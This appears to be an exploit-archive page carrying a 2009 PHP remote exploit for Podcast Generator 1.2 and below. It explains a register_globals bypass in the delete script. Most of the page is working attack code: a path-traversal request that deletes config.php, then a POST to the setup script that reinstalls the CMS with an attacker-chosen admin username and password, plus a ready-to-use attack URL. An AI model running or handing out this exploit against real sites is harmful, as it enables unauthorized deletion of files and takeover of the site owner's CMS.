what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Podcast Generator 1.2 Re-Installation

Podcast Generator 1.2 Re-Installation
Posted Jun 4, 2009
Authored by StAkeR

Podcast Generator versions 1.2 and below unauthorized CMS re-installation exploit.

tags | exploit
SHA-256 | 47c54be78e45cbd7ca5dd7d6030665ce4149d9c12697df96113124dd02545514

Podcast Generator 1.2 Re-Installation

Change Mirror Download
<?php
#
# Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit
#
# by staker
# --------------------------------------
# mail: staker[at]hotmail[dot]it
# url: http://podcastgen.sourceforge.net
# --------------------------------------
#
# it works with register_globals=on
#
# short explanation:
#
# ----------------------------------------
# Podcast Generator contains one flaw that
# allows an attacker to re-install the cms
# because of unlink() in 'delete.php' file
# ----------------------------------------
# Look at '/core/admin/delete.php'
# (removed author's comments)
/*

<?php
if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path']))
{ exit; } <-------- {1}

if ($amilogged != "true") { exit; } <-------{2}

if (isset($_GET['file']) AND $_GET['file']!=NULL) {
$file = $_GET['file'];
$ext = $_GET['ext'];

if (file_exists("$absoluteurl$upload_dir$file.$ext")) {
unlink ("$upload_dir$file.$ext"); <--------{3}
$PG_mainbody .="<p><b>$file.$ext</b> $L_deleted</p>";
}


*/
#
# Explanation (code snippet above [points])
# -----------------------------------------------------------------------------------
# 1. blocks all 'amilogged' REQUEST variables,what about GLOBALS?,therefore useless!
# 2. if 'amilogged' isn't true -> exit() function activated.
# 3. unlink() delete an existing file.
# -----------------------------------------------------------------------------------
#
# It's possible to delete 'config.php' to re-install the cms. we need 'amilogged'
# set to true. We can do it using a GLOBALS variable.
#
# admin/core/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php
#
# Various:
# --------------------------------------------------
# They didn't help me but i want to give a thanks to
# girex,skerno,Chaomel,XaDoS,Dante90 and Gianluka_95
# --------------------------------------------------
# Today is: 02 June 2009.
# Location: Italy,Turin.
# http://www.youtube.com/watch?v=dBc7mK5iAH0
# --------------------------------------------------

error_reporting(E_STRICT ^ E_WARNING);

if ($argc < 2) start_usage();

$host = $argv[1];
$path = $argv[2];

re_install();

function send_request($data)
{
global $host;

if (!$sock = @fsockopen($host,80)) {
die("connection refused..\n");
}

if (isset($data)) {
fputs($sock,$data);
}

while (!feof($sock)) { $result .= fgets($sock); }

fclose($sock);
return $result;
}


function remove_config()
{
global $host,$path;

$in_lex = "/{$path}/core/admin/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php";

$config = "GET {$in_lex} HTTP/1.1\r\n";
$config .= "User-Agent: Lynx (textmode)\r\n";
$config .= "Host: {$host}\r\n";
$config .= "Connection: close\r\n\r\n";

$lol = send_request($config);

if (check_config() != FALSE) {
die("register_globals=off, exploit failed!\n");
}
else {
return true;
}
}


function re_install()
{
global $host,$path;

$binary = "username=staker&password=killingyourself&password2=killingyourself&setuplanguage=en";

$config = "POST {$path}/setup/index.php?step=5 HTTP/1.1\r\n";
$config .= "User-Agent: Lynx (textmode)\r\n";
$config .= "Host: {$host}\r\n";
$config .= "Content-Type: application/x-www-form-urlencoded\r\n";
$config .= "Content-Length: ".strlen($binary)."\r\n";
$config .= "Connection: close\r\n\r\n";
$config .= $binary;

remove_config();
$content = send_request($config);


if (eregi('Creation of the configuration file',$content)) {
echo "[ re-installed successful\n";
echo "[ username: staker\n[ password: killingyourself\n"; exit(0);
}
else {
die("Exploit failed\n");
}
}




function check_config()
{
global $host,$path;

$config = "GET /{$path}/config.php HTTP/1.1\r\n";
$config .= "User-Agent: Lynx (textmode)\r\n";
$config .= "Host: {$host}\r\n";
$config .= "Connection: close\r\n\r\n";

$content = send_request($config);

if (ereg('HTTP/1.1 404 Not Found',$content)) {
return false;
}
else {
return true;
}
}


function start_usage()
{
print "[*--------------------------------------------------------------------------*]\n".
"[* Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit *]\n".
"[*--------------------------------------------------------------------------*]\n".
"[* Usage: php podcast_xpl.php [host] [path] *]\n".
"[* [host] host -> example: localhost *]\n".
"[* [path] path -> example: /podcast *]\n".
"[*--------------------------------------------------------------------------*]\n";
die();
}


Login or Register to add favorites

File Archive:

December 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    0 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    32 Files
  • 5
    Dec 5th
    10 Files
  • 6
    Dec 6th
    13 Files
  • 7
    Dec 7th
    23 Files
  • 8
    Dec 8th
    19 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    11 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close